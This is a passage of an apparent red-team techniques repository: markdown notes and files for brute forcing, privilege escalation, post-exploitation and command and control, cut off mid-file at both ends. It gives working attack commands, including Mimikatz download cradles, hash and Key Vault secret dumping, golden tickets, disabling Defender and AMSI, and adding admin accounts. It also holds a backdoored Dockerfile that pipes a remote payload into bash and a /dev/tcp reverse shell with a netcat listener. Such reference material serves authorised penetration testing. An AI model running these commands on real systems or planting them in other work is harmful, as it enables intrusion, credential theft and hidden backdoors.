case alpha characters | 31 | | , | Upper case alpha characters | 32 | | % | Numeric characters | 33 | | ^ | Special characters including space | 34 | ``` 35 | 36 | Crunch Custom translation placeholders 37 | 38 | ``` 39 | crunch 8 8 -t ,@@^^%%% 40 | ``` 41 | 42 | Generating customer translation wordlist 43 | 44 | ## References 45 | * [Kali Tool - crunch](https://www.kali.org/tools/crunch/) -------------------------------------------------------------------------------- /2.Initial_Access/Brute Force/Ncrack.md: -------------------------------------------------------------------------------- 1 | # Ncrack 2 | 3 | **Description:** This entry describes how to use Ncrack to perform brute force password attacks against services 4 | 5 | **Requirements:** ncrack 6 | 7 | ## Brute forcing services using ncrack 8 | 9 | ``` 10 | ncrack -u user -P password_list.txt -p ssh 192.168.1.1 11 | ``` 12 | 13 | Run SSH brute force on a single host with password list 14 | 15 | ``` 16 | ncrack -v --user --pass "SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt" -p ssh -iL targets.txt 17 | ``` 18 | 19 | Run SSH brute force on targets from a list with password list of common ssh passwords 20 | 21 | ``` 22 | ncrack --user admin -P passwords.txt https://192.168.1.1:443 23 | ``` 24 | 25 | Brute force HTTP(S) with password list and single user 26 | 27 | ## References 28 | * [Ncrack - Reference Guide](https://nmap.org/ncrack/man.html) -------------------------------------------------------------------------------- /2.Initial_Access/Passwords/Dockerhub_image_secret_scanning.md: -------------------------------------------------------------------------------- 1 | # Dockerhub image secret scanning 2 | 3 | **Description:** This entry describes how to scan an organizations Docker hub images for secrets 4 | 5 | **Requirements:** curl, deepfence, docker 6 | 7 | ## Pulling and secret scanning an organizations image secrets 8 | 9 | ``` 10 | curl -s "https://hub.docker.com/v2/repositories//?page_size=100" | jq -r '.results|.[]|.name' 11 | ``` 12 | 13 | Pull a list of public images for an organization from Docker hub 14 | 15 | ``` 16 | docker run -it --rm --name=deepfence-secretscanner -v /Users/sneakerhax/RedTeam/Adobe/Scans/DockerHub:/home/deepfence/output -v /var/run/docker.sock:/var/run/docker.sock deepfenceio/secretscanner -image-name 17 | ``` 18 | 19 | Running secret scanning 20 | 21 | ``` 22 | docker history 23 | ``` 24 | 25 | View build layer steps 26 | 27 | ``` 28 | docker save 29 | ``` 30 | 31 | Dump image layers 32 | 33 | ``` 34 | tar -tvf 35 | ``` 36 | 37 | View file contents of tar file 38 | 39 | ``` 40 | tar -xvf 41 | ``` 42 | 43 | Untar image tar file to view contents 44 | 45 | ## References 46 | * [Github - SecretScanner](https://github.com/deepfence/SecretScanner) 47 | * [Docker docs - docker save](https://docs.docker.com/engine/reference/commandline/save/) 48 | -------------------------------------------------------------------------------- /2.Initial_Access/Passwords/Postman_workspace_secret_scanning.md: -------------------------------------------------------------------------------- 1 | # Postman workspace secret scanning 2 | 3 | **Description:** This entry describes how to scan for secrets in public Postman workspaces using Trufflehog 4 | 5 | **Requirements:** trufflehog 6 | 7 | ## Discovering public Postman workspaces 8 | 9 | ``` 10 | https://www.postman.com/search?q=&scope=all&type=workspace 11 | ``` 12 | 13 | Add the search term to the query and paste it into a browser. Use the reference "How to find the ID of an element in Postman" to discover the Workspace ID. 14 | 15 | ## Using Trufflehog to search public Postman workspaces for secrets 16 | 17 | ``` 18 | trufflehog postman --workspace --token 19 | ``` 20 | 21 | Add the workspace ID discovered above and your Postman API token. 22 | 23 | ## References 24 | * [(The) Postman Carries Lots of Secrets](https://trufflesecurity.com/blog/postman-carries-lots-of-secrets) 25 | * [How to find the ID of an element in Postman](https://support.postman.com/hc/en-us/articles/5063785095319-How-to-find-the-ID-of-an-element-in-Postman) 26 | * [Generate and use Postman API keys](https://learning.postman.com/docs/developer/postman-api/authentication/) 27 | -------------------------------------------------------------------------------- /2.Initial_Access/Public_Exploits/Kali_Linux.md: -------------------------------------------------------------------------------- 1 | # Kali Linux 2 | 3 | **Description:** This entry describes how to cross compile exploits for Windows on a Kali Linux machine 4 | 5 | **Requirements:** mingw-w64 6 | 7 | ## Cross compile exploit for Windows on Kali Linux machine 8 | 9 | ``` 10 | apt-get install mingw-w64 11 | ``` 12 | 13 | Install mingw-w64 for cross compiling 14 | 15 | ``` 16 | i686-w64-mingw32-gcc exploit.c -lws2_32 -o exploit.exe 17 | ``` 18 | 19 | Cross compiling for Windows on Kali 20 | 21 | ## References 22 | * [mingw-w64 website](https://www.mingw-w64.org/) -------------------------------------------------------------------------------- /2.Initial_Access/Public_Exploits/Searchsploit.md: -------------------------------------------------------------------------------- 1 | # Searchsploit 2 | 3 | **Description:** This entry describes how to run searchsploit to discovery public exploits 4 | 5 | **Requirements:** searchsploit 6 | 7 | ## Using searchsploit to search for public exploits 8 | 9 | ``` 10 | searchsploit 11 | ``` 12 | 13 | Search for exploit in software 14 | 15 | ``` 16 | searchsploit -x 17 | ``` 18 | 19 | View the exploit by path 20 | 21 | ``` 22 | searchsploit -m 23 | ``` 24 | 25 | Copy exploit to current directory 26 | 27 | ## References 28 | * [Searchsploit - The Manual](https://www.exploit-db.com/searchsploit) 29 | * [Gitlab - Searchsploit](https://gitlab.com/exploit-database/exploitdb) 30 | -------------------------------------------------------------------------------- /2.Initial_Access/Vulnerability_Scanning/Nmap.md: -------------------------------------------------------------------------------- 1 | # Nmap 2 | 3 | **Description:** This entry describes how to scan for vulnerabilities with Nmap 4 | 5 | **Requirements:** nmap 6 | 7 | ## Scanning for vulnerabilities with Nmap 8 | 9 | ``` 10 | nmap --script "*smb*" --script-args=unsafe=1 -p445 --open 11 | ``` 12 | 13 | Check for SMB vulns 14 | 15 | ``` 16 | nmap --script vuln --open 17 | ``` 18 | 19 | Run all NSE scripts in the "vuln" category 20 | 21 | ## References 22 | * [Nmap - NSE Scripts](https://nmap.org/nsedoc/scripts/) 23 | * [Nmap - NSE Usage](https://nmap.org/book/nse-usage.html) 24 | -------------------------------------------------------------------------------- /2.Initial_Access/Vulnerability_Scanning/Nuclei.md: -------------------------------------------------------------------------------- 1 | # Nuclei 2 | 3 | **Description:** This entry describes how to scan for vulnerabilities with Nuclei 4 | 5 | **Requirements:** nuclei 6 | 7 | ## Scanning for Vulnerabilites with Nuclei 8 | 9 | ``` 10 | nuclei -u 11 | ``` 12 | 13 | Basic nuclei scan 14 | 15 | ``` 16 | nuclei -tl -tc "contains(name, '')" 17 | ``` 18 | 19 | List all templates with a specified word in the name 20 | 21 | ``` 22 | nuclei -tc "contains(name, '')" -u http://localhost 23 | ``` 24 | 25 | Run scan using all templates that match the filter 26 | 27 | ## References 28 | * [Running nuclei](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei) 29 | * [The Ultimate Guide to Finding Bugs With Nuclei](https://blog.projectdiscovery.io/ultimate-nuclei-guide/) 30 | -------------------------------------------------------------------------------- /3.Privilege_Escalation/Linux/Checking_Permissions.md: -------------------------------------------------------------------------------- 1 | # Checking Permissions 2 | 3 | **Description:** This entry describes how to check your permission level on Linux 4 | 5 | **Requirements:** required software 6 | 7 | ## Running commands to check current permission level 8 | 9 | ``` 10 | id 11 | ``` 12 | 13 | Check permissions of current user 14 | 15 | ``` 16 | groups 17 | ``` 18 | 19 | Group membership for current user 20 | 21 | ``` 22 | who -r 23 | ``` 24 | 25 | Check run level on Linux 26 | 27 | ``` 28 | sudo -l 29 | ``` 30 | 31 | List available sudo commands 32 | 33 | ## References 34 | * none -------------------------------------------------------------------------------- /3.Privilege_Escalation/Windows/CMD.md: -------------------------------------------------------------------------------- 1 | # CMD 2 | 3 | **Description:** This entry described how to look for privilege escalation opportunities using the Windows command line 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Checking current permissions 8 | 9 | ``` 10 | whoami /groups 11 | ``` 12 | 13 | Windows - to check integrity level and permissions 14 | 15 | ## Checking patch level 16 | 17 | ``` 18 | winver 19 | ``` 20 | 21 | Check Windows version to match kb for missing patches 22 | 23 | ``` 24 | wmic qfe get Caption,Description,HotFixID,InstalledOn 25 | ``` 26 | 27 | Using WMIC to check for installed patches 28 | 29 | ``` 30 | systeminfo.exe 31 | ``` 32 | 33 | Check for missing patches 34 | 35 | 36 | ## References 37 | * none -------------------------------------------------------------------------------- /3.Privilege_Escalation/Windows/Meterpreter.md: -------------------------------------------------------------------------------- 1 | # Meterpreter 2 | 3 | **Description:** This entry describes how to privilege escalate from a Meterpreter shell on Windows 4 | 5 | **Requirements:** metasploit 6 | 7 | ## Checking permission level using Meterpreter 8 | 9 | ``` 10 | getuid 11 | ``` 12 | 13 | Display the user that the Meterpreter server is running as on the host 14 | 15 | ``` 16 | use post/windows/gather/win_privs 17 | ``` 18 | 19 | This module will print if UAC is enabled, and if the current account is ADMIN enabled. It will also print UID,foreground SESSION ID, is SYSTEM status and current process PRIVILEGES 20 | 21 | ## Checking for privilege escalation exploits 22 | 23 | ``` 24 | use post/multi/recon/local_exploit_suggester 25 | ``` 26 | 27 | This module suggests local meterpreter exploits that can be used 28 | 29 | ``` 30 | getsystem 31 | ``` 32 | 33 | Attempt to get system privs on Windows system 34 | 35 | ## References 36 | * [Offensive Security - Privilege Escalation](https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/) -------------------------------------------------------------------------------- /3.Privilege_Escalation/Windows/Powershell.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | 3 | **Description:** A description of the entry 4 | 5 | **Requirements:** powershell 6 | 7 | ## Running PowerUp to check for privilege escalation 8 | 9 | ```powershell 10 | powershell "IEX (New-Object Net.WebClient).DownloadString('/PowerUp.ps1'); Invoke-AllChecks" 11 | ``` 12 | 13 | Run PowerUp on system 14 | 15 | ## Checking for missing patches using Powershell 16 | 17 | ```powershell 18 | Get-Hotfix KB******* 19 | ``` 20 | 21 | Checking missing patches (Powershell) 22 | 23 | 24 | ## References 25 | * [Powersploit - PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) 26 | * [MSLearn - GetHotfix](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-hotfix?view=powershell-7.3) -------------------------------------------------------------------------------- /4.Post_Exploitation/Azure/CLI.md: -------------------------------------------------------------------------------- 1 | # CLI 2 | 3 | **Description:** This entry describes how to login to a compromised account with the Azure CLI 4 | 5 | **Requirements:** azurecli 6 | 7 | ## Logging into an Azure account with the CLI 8 | 9 | Search .azure file on users system for .azureprofiles.json or accessToken.json(Can be used to login to Azure acount) 10 | 11 | ``` 12 | az login 13 | ``` 14 | 15 | Login with Azure CLI (This also generates a cookie in the browser for .login.microsoftonline.com called ESTSAUTHPERSISTENT 16 | 17 | ``` 18 | az account show 19 | ``` 20 | 21 | List account information includes subscription ID: 22 | 23 | ``` 24 | az account set --subscription "" 25 | ``` 26 | 27 | Set subscription 28 | 29 | Querying Azure Metadata service: 30 | 31 | ``` 32 | curl http://169.254.169.254/metadata/v1/InstanceInfo 33 | ``` 34 | 35 | Example usage(Get instance info): 36 | 37 | ``` 38 | az vm extension 39 | ``` 40 | 41 | Run custom [scripts](https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-linux) 42 | 43 | ``` 44 | az storage blob list --account-name --container 45 | ``` 46 | 47 | Listing contents of storage account 48 | 49 | 50 | ## References 51 | * [Azure Command-Line Interface (CLI) documentation](https://learn.microsoft.com/en-us/cli/azure/) -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Dump_keyvault_secret_powershell.md: -------------------------------------------------------------------------------- 1 | # Dump Keyvault secret Powershell 2 | 3 | **Description:** This entry describes how to authenticate to an Azure account with Powershell, list keyvaults, and dump a password in plain text 4 | 5 | **Requirements:** AZ Powershell 6 | 7 | ## Dump a single secret 8 | 9 | ```powershell 10 | Connect-AzAccount 11 | ``` 12 | 13 | Authenticate to Azure account 14 | 15 | ```powershell 16 | Get-AzKeyVault 17 | ``` 18 | 19 | List all vaults 20 | 21 | ```powershell 22 | Get-AzKeyVaultSecret -VaultName 23 | ``` 24 | 25 | List all secrets 26 | 27 | ```powershell 28 | Get-AzKeyVaultSecret -VaultName '' -Name '' -AsPlainText 29 | ``` 30 | 31 | Dump secret as plain text 32 | 33 | ```powershell 34 | $secret_name = Get-AzKeyVaultSecret -VaultName | select Name 35 | $secret_name | ForEach-Object { Get-AzKeyVaultSecret -VaultName '' -Name $_.Name -AsPlainText } 36 | ``` 37 | 38 | Generate list of keyvault secrets and dump each one in plaintext 39 | 40 | ```powershell 41 | $vaults = Get-AzKeyVault | select VaultName 42 | $secret_names = $vaults | ForEach-Object { Get-AzKeyVaultSecret -VaultName $_.VaultName | select VaultName, Name } 43 | $secret_names | ForEach-Object { Get-AzKeyVaultSecret -VaultName $_.VaultName -Name $_.Name -AsPlainText } 44 | ``` 45 | 46 | Generate list of keyvaults, discover all secrets in vaults, dump all passwords from all vaults in plaintext 47 | 48 | ## References 49 | * [MS Docs - Get-AzKeyVaultSecret](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/get-azkeyvaultsecret?view=azps-6.1.0) -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Git_history_secret_grepping.md: -------------------------------------------------------------------------------- 1 | # Git history secret grepping 2 | 3 | **Description:** This entry describes how to search the content of git history on a local repo for secrets. These are commonly found on systems after gaining an initial foothold 4 | 5 | **Requirements:** git 6 | 7 | ## Searching git history content for secrets 8 | 9 | ``` 10 | git grep '' $(git rev-list --all) 11 | ``` 12 | 13 | Run a single grep on all the contents in the history of a git repo 14 | 15 | ## References 16 | * [Stack Overflow - grep all commits in a respository](https://stackoverflow.com/questions/50206886/grep-all-commits-in-a-repository) -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Passwords_cracking_with_Hashcat.md: -------------------------------------------------------------------------------- 1 | # Password cracking with Hashcat 2 | 3 | **Description:** This entry describes how to crack passsword with Hashcat 4 | 5 | **Requirements:** hashcat 6 | 7 | ## Cracking NTLMv2 passwords with Hashcat 8 | 9 | ``` 10 | hashcat -O -a 0 -m 5600 11 | ``` 12 | 13 | Cracking NTLMv2 captures from responder(with wordlist) 14 | 15 | ``` 16 | hashcat --show -m 5600 17 | ``` 18 | 19 | Showing cracked passwords 20 | 21 | ## References 22 | * [Hashcat - Wiki](https://hashcat.net/wiki/) 23 | * [Hashcat - example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Passwords_cracking_with_jtr.md: -------------------------------------------------------------------------------- 1 | # Passwords Cracking John The Ripper 2 | 3 | **Description:** This entry describes how to crack passwords with John The Ripper 4 | 5 | **Requirements:** jtr 6 | 7 | ## Cracking password protected zip files with John 8 | 9 | ``` 10 | zip2john 11 | ``` 12 | 13 | Convert password protected zip file to john format 14 | 15 | ## References 16 | * [John The Ripper - docs](https://www.openwall.com/john/doc/) 17 | * [John The Ripper - Sample hashes](https://openwall.info/wiki/john/sample-hashes) 18 | * [PentestMonkey - John The Ripper Hash Formats](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats) -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Testing_Github_OAth_tokens.md: -------------------------------------------------------------------------------- 1 | # Testing Github OAuth tokens 2 | 3 | **Description:** This entry describes how to test discovered Github OAuth tokens 4 | 5 | **Requirements:** curl 6 | 7 | ## Testing the Github OAuth token 8 | 9 | ``` 10 | curl -i -H "Authorization: token " \ 11 | https://api.github.com/user/repos 12 | ``` 13 | 14 | List all available repos for specified token 15 | 16 | ## References 17 | * [Github Docs - Getting started with the rest api](https://docs.github.com/en/rest/guides/getting-started-with-the-rest-api) 18 | * [Github Docs - list repos for the authenticated user](https://docs.github.com/en/rest/repos/repos#list-repositories-for-the-authenticated-user) 19 | -------------------------------------------------------------------------------- /4.Post_Exploitation/Passwords/Windows_hash_dumping.md: -------------------------------------------------------------------------------- 1 | # Windows Hash Dumping 2 | 3 | **Description:** This entry describes how to dump Windows system hashes 4 | 5 | **Requirements:** powershell, Metasploit 6 | 7 | ## Dumping Windows hashes 8 | 9 | ``` 10 | run post/windows/gather/hashdump 11 | ``` 12 | 13 | Gather hashes with Meterpreter 14 | 15 | Dump the local user accounts from the SAM database using the registry 16 | 17 | ```powershell 18 | powershell "IEX (New-Object Net.WebClient).DownloadString('http://'); Invoke-Mimikatz -DumpCreds" 19 | ``` 20 | 21 | Run Invoke-Mimikatz in memory with Powershell web cradle. You can add all arguments to the end of command 22 | 23 | ``` 24 | use post/windows/gather/credentials/domain_hashdump 25 | ``` 26 | 27 | Dump hashes from domain controller safely with Meterpreter 28 | 29 | 30 | ## References 31 | * [Powerspoit - Invoke-Mimikatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Active_Directory.md: -------------------------------------------------------------------------------- 1 | # Active Directory 2 | 3 | **Description:** This entry describes how to perform post exploitation actions on Active Directory 4 | 5 | **Requirements:** required software 6 | 7 | ## Active Directory commands 8 | 9 | ``` 10 | post/window/gather/enum_ad_computers 11 | ``` 12 | 13 | Find computer on the domain very stealth 14 | 15 | ``` 16 | post/windows/gather/enum_ad_service_principal_names 17 | ``` 18 | 19 | Find sql servers etc running services 20 | 21 | ``` 22 | post/window/gather/enum_ad_user_comments 23 | ``` 24 | 25 | User comments contains passwords for some 26 | 27 | ``` 28 | net view /domain 29 | ``` 30 | 31 | List domain association 32 | 33 | ``` 34 | net view /domain: 35 | ``` 36 | 37 | List hosts on domain. Same as network neighborhood 38 | 39 | ``` 40 | net view /domain "Domain Computers" 41 | ``` 42 | 43 | List all domain computers 44 | 45 | ``` 46 | net view \\ 47 | ``` 48 | 49 | List shares on a computer 50 | 51 | ``` 52 | net user /domain 53 | ``` 54 | 55 | List all users in domain 56 | 57 | ``` 58 | net group /domain 59 | ``` 60 | 61 | List all groups in domain 62 | 63 | ``` 64 | net group /domain "" 65 | ``` 66 | 67 | List users in group on domain 68 | 69 | ``` 70 | net user /domain "" 71 | ``` 72 | 73 | List information about domain user including group membership 74 | 75 | ``` 76 | nltest /dclist: 77 | ``` 78 | 79 | List all domain controllers on domain 80 | 81 | ``` 82 | nltest /domain_trust 83 | ``` 84 | 85 | Map domain trust 86 | 87 | ``` 88 | net localgroup /domain "administrators" 89 | ``` 90 | 91 | List all domain controller administrators 92 | 93 | ``` 94 | net user username password /add 95 | ``` 96 | 97 | Add local user account 98 | 99 | ``` 100 | net localgroup administrators /add 101 | ``` 102 | 103 | Add local user to local administrator group 104 | 105 | ``` 106 | net user username password /add /domain 107 | ``` 108 | 109 | Add new user account to domain 110 | 111 | ``` 112 | wmic useraccount 113 | ``` 114 | 115 | List all local accounts with SID 116 | 117 | ``` 118 | Get-AdUser -Filter * -Properties SamAccountName, description | select SamAccountName, description | select -expand $_.results 119 | ``` 120 | 121 | Get descriptions from AD to look for passwords stored in AD account. Can be done from any domain user 122 | 123 | 124 | ## References 125 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/CMD.md: -------------------------------------------------------------------------------- 1 | # CMD 2 | 3 | **Description:** This entry describes how to perform post exploitation actions using the Windows command line 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Run a DLL using rundll32 8 | 9 | ``` 10 | rundll32.exe dllname.dll,StartW 11 | ``` 12 | 13 | Run DLL 14 | 15 | ## Running file searches 16 | 17 | ``` 18 | dir /S /B 19 | ``` 20 | 21 | Dirwalk Windows 22 | 23 | ## References 24 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Disable_Defender.md: -------------------------------------------------------------------------------- 1 | # Disable Defender 2 | 3 | **Description:** This entry describes how to disable Defender on a system 4 | 5 | **Requirements:** cmd (windows), Powershell 6 | 7 | ## Disabling defender from the command line 8 | 9 | ``` 10 | "c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true 11 | ``` 12 | 13 | Disabling defender and remove definitions with mpcmdrun.exe 14 | 15 | ``` 16 | Set-MpPreference -DisableRealtimeMonitoring $true 17 | ``` 18 | 19 | Disable Defender(causes alert on Desktop)(Can be run with psexec) 20 | 21 | ``` 22 | Add-MpPreference -ExclusionPath "c:\" 23 | ``` 24 | 25 | Add exclusion path to Defender 26 | 27 | ``` 28 | "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonePublic,static').SetValue(,True)" 29 | ``` 30 | 31 | Turn off AMSI 32 | 33 | ## References 34 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Dumping_Password_from_LSASS.md: -------------------------------------------------------------------------------- 1 | # Dumping Passwords from LSASS 2 | 3 | **Description:** A description of the entry 4 | 5 | **Requirements:** mimikatz 6 | 7 | ## Dumping lsass password using Mimikatz 8 | 9 | **Must have SeDebugPrivilege** 10 | 11 | ``` 12 | mimikatz# privilege::debug 13 | Privilege '20' OK 14 | ``` 15 | 16 | Checking if debug levels are correct 17 | 18 | ``` 19 | mimikatz# log 20 | Using 'log_file' for logfile : OK 21 | 22 | mimikatz# log /stop 23 | ``` 24 | 25 | Turning on logging to output to file (Starting and stopping) 26 | 27 | ``` 28 | mimikatz# sekurlsa::minidump lsass.dmp 29 | ``` 30 | 31 | Dumping password from lsass dump 32 | 33 | ## References 34 | * [Github - Mimikatz Wiki (sekurlsa)](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa) -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Golden_Ticket.md: -------------------------------------------------------------------------------- 1 | # Golden Ticket 2 | 3 | **Description:** This entry describes how to create a Golden ticket in Active Directory environments 4 | 5 | **Requirements:** mimikatz 6 | 7 | ## Creating and loading Golden Ticket 8 | 9 | ``` 10 | klist purge 11 | ``` 12 | 13 | Purge all ticket 14 | 15 | ``` 16 | mimikatz# privilige::debug 17 | Privilige '20' OK 18 | ``` 19 | 20 | Check privilege level 21 | 22 | ``` 23 | mimikatz# kerberos::golden /user: /domain: /sid: / /ticket: 24 | ``` 25 | 26 | Create Golden ticket 27 | 28 | ``` 29 | debug# kerberos::ptt 30 | ``` 31 | 32 | Load Golden ticket 33 | 34 | ## References 35 | * https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Networking.md: -------------------------------------------------------------------------------- 1 | # Networking 2 | 3 | **Description:** This entry describes how to perform post exploitation action using network commands 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Network commands to collect network information 8 | 9 | ``` 10 | arp -a 11 | ``` 12 | 13 | Check arp cache (This will lists hosts the system has connected to) 14 | 15 | ``` 16 | ping -n 1 17 | ``` 18 | 19 | Ping host 1 time 20 | 21 | ## References 22 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Pipes.md: -------------------------------------------------------------------------------- 1 | # Pipes 2 | 3 | **Description:** This entry describes how to perform post exploitation action using named pipes 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Working with named pipes 8 | 9 | ``` 10 | ls \\.\pipe\ 11 | ``` 12 | 13 | List all pipes running on Windows system 14 | 15 | ## References 16 | * [MSLearn - named pipes](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes) -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Powershell.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | 3 | **Description:** This entry describes how to perform post exploitation actions using the Windows Powershell 4 | 5 | **Requirements:** powershell 6 | 7 | ## Powershell commands 8 | 9 | ```powershell 10 | $PSVersionTable 11 | ``` 12 | 13 | Check Powershell version 14 | 15 | ```powershell 16 | Get-WindowsFeatures powershell-v2 17 | ``` 18 | 19 | Check to see if Powershell V2 is installed (Server only) 20 | 21 | ```powershell 22 | powershell -version 2 23 | ``` 24 | 25 | Downgrade to Powershell v2(Has no amsi/logging) 26 | 27 | ```powershell 28 | tasklist /v 29 | ``` 30 | 31 | List all processes 32 | 33 | ```powershell 34 | Get-AdUser -Filter * -Properties SamAccountName, description | select SamAccountName, description | select -expand $_.results 35 | ``` 36 | 37 | Get user and description field from AD to find passwords 38 | 39 | ```powershell 40 | Get-ADUser -properties passwordlastset 41 | ``` 42 | 43 | Check password last set 44 | 45 | ```powershell 46 | Invoke-Command -ComputerName server01 -ScriptBlock {Get-Process} 47 | ``` 48 | 49 | Run command on remote system ([docs](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-6)) 50 | 51 | ```powershell 52 | Get-ChildItem -Path C:\ -Include ** -Recurse -ErrorAction SilentlyContinue 53 | ``` 54 | 55 | Search for file recursively 56 | 57 | ## References 58 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/Useful_Binaries.md: -------------------------------------------------------------------------------- 1 | # Useful Binaries 2 | 3 | **Description:** This entry describes various binaries that are useful for post exploitation 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Useful binaries 8 | 9 | ``` 10 | sqlps.exe 11 | ``` 12 | 13 | Running powershell from sqlps.exe 14 | 15 | ## References 16 | * none -------------------------------------------------------------------------------- /4.Post_Exploitation/Windows/WMI.md: -------------------------------------------------------------------------------- 1 | # WMI 2 | 3 | **Description:** This entry describes how to perform post exploitation actions using WMI 4 | 5 | **Requirements:** cmd (windows) 6 | 7 | ## Enabling WMI access in the Windows firwall 8 | 9 | netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes 10 | ``` 11 | 12 | Open firewall for WMI 13 | 14 | ``` 15 | netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=no 16 | ``` 17 | 18 | Close firewall for WMI 19 | 20 | ## References 21 | * none 22 | -------------------------------------------------------------------------------- /5.Command_and_Control/Docker/backdoored_image_sh/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian 2 | 3 | RUN apt update && apt install curl -y 4 | RUN echo "curl -s http://:8000/payload.txt | bash" > payload.sh 5 | RUN chmod +x ./payload.sh 6 | 7 | ENTRYPOINT ["/bin/bash"] 8 | CMD ["./payload.sh"] 9 | -------------------------------------------------------------------------------- /5.Command_and_Control/Docker/backdoored_image_sh/README.md: -------------------------------------------------------------------------------- 1 | # Backdoored shell script in container image 2 | 3 | **Description:** This entry describes how to setup a shell script to backdoor container images 4 | 5 | **Requirements:** docker, curl, python, ngrok 6 | 7 | ## Scenario 8 | 9 | You have the acccess to modify docker images either through source that contains a shell script called in the Dockerfile or through an image registry. The shell script that you can modify runs on startup (a pretty common scenario) 10 | 11 | ## Building the image 12 | 13 | First you need to build the image. This is emulating the process that will take place whenever the target image is built. Based on our scenario the victim will either be pulling in the modified source shell script or you replaced the image in the registry after updating the shell script. 14 | 15 | The line that ends up backdooring the image will be the following: 16 | 17 | ``` 18 | curl -s http://:8000/payload.txt | bash 19 | ``` 20 | 21 | For added security use public key pinning (See the section [Using ngrok for your payload server address](https://github.com/sneakerhax/TTPs/tree/main/5.Command_and_Control/Docker/backdoored_image_sh#using-ngrok-for-your-payload-server-address)): 22 | 23 | ``` 24 | curl -Iksv --pinnedpubkey sha256//0 https://.com 25 | ``` 26 | 27 | Use the value from output called public key hash (This is the format curl will expect in the next command) 28 | 29 | ``` 30 | curl -sk --pinnedpubkey // https://.com 31 | ``` 32 | 33 | This will curl the website with the public key pinned (-k is used if you have a self signed certificate) 34 | 35 | ### Build the image 36 | 37 | * Update line 4 with the ip address of your payload server 38 | 39 | ``` 40 | docker build -t backdoor . 41 | ``` 42 | 43 | ## Setting up the payload server 44 | 45 | Next you need to setup the server that will host the file containing your payload. The payload can be anything you want to execute when the container is started. In this example we will use a reverse shell that calls back to a netcat server. I'm using python SimpleHTTPServer to host the file but this can be setup other ways as long as the file can be accessed. 46 | 47 | ### Create the payload file 48 | 49 | ``` 50 | touch payload.txt 51 | ``` 52 | 53 | 54 | ### Add your payload (in this example the reverse shell) 55 | 56 | ``` 57 | nohup bash -c bash -i >& /dev/tcp//8080 0>&1 58 | ``` 59 | 60 | * This payload example can be found in payload.txt 61 | * Update the ip address and port with the values for your netcat server 62 | 63 | ### Starts a server on port 8000 by default 64 | 65 | ``` 66 | python3 -m http.server 67 | ``` 68 | 69 | ### Using ngrok for your payload server address 70 | 71 | ``` 72 | ngrok http 8000 -bind-tls=true 73 | ``` 74 | 75 | Starts an ngrok listener and gives you a public address (You will need to follow the [Building the image](https://github.com/sneakerhax/TTPs/tree/main/5.Command_and_Control/Docker/backdoored_image_sh#building-the-image) section to grab the certificate) 76 | 77 | ## Start your Netcat handler 78 | 79 | This step is only required if you choose to make your payload a reverse shell. This step will start a netcat server that will handle the callback from your reverse shell. 80 | 81 | ### Start the netcat listener 82 | 83 | ``` 84 | netcat -lkvp 8080 85 | ``` 86 | 87 | ## Start your container 88 | 89 | This step emulates what will occur when the backdoored image is deployed and the container starts. The script in the case will only execute once when the container is started 90 | 91 | ### Start the Docker container (execute the payload) 92 | 93 | ``` 94 | docker run -it backdoor 95 | ``` 96 | 97 | If everything goes according to plan you should get a callback similar to the this [tweet](https://twitter.com/sneakerhax/status/1416870516976099330?s=20) 98 | 99 | ## References 100 | * none 101 | -------------------------------------------------------------------------------- /5.Command_and_Control/Docker/backdoored_image_sh/payload.txt: -------------------------------------------------------------------------------- 1 | nohup bash -c bash -i >& /dev/tcp//8080 0>&1 2 | -------------------------------------------------------------------------------- /5.Command_and_Control/Reverse_shells/Reverse_Shells.md: -------------------------------------------------------------------------------- 1 | # Reverse Shells 2 | 3 | **Description:** This entry describes how to use various programming languages to create a reverse shell 4 | 5 | **Requirements:** varies based on shell 6 | 7 | ## Commands to create reverse shell connections 8 | 9 | ## Bash 10 | 11 | ``` 12 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 13 | ``` 14 | 15 | ## Perl 16 | 17 | ``` 18 | perl -e 'use 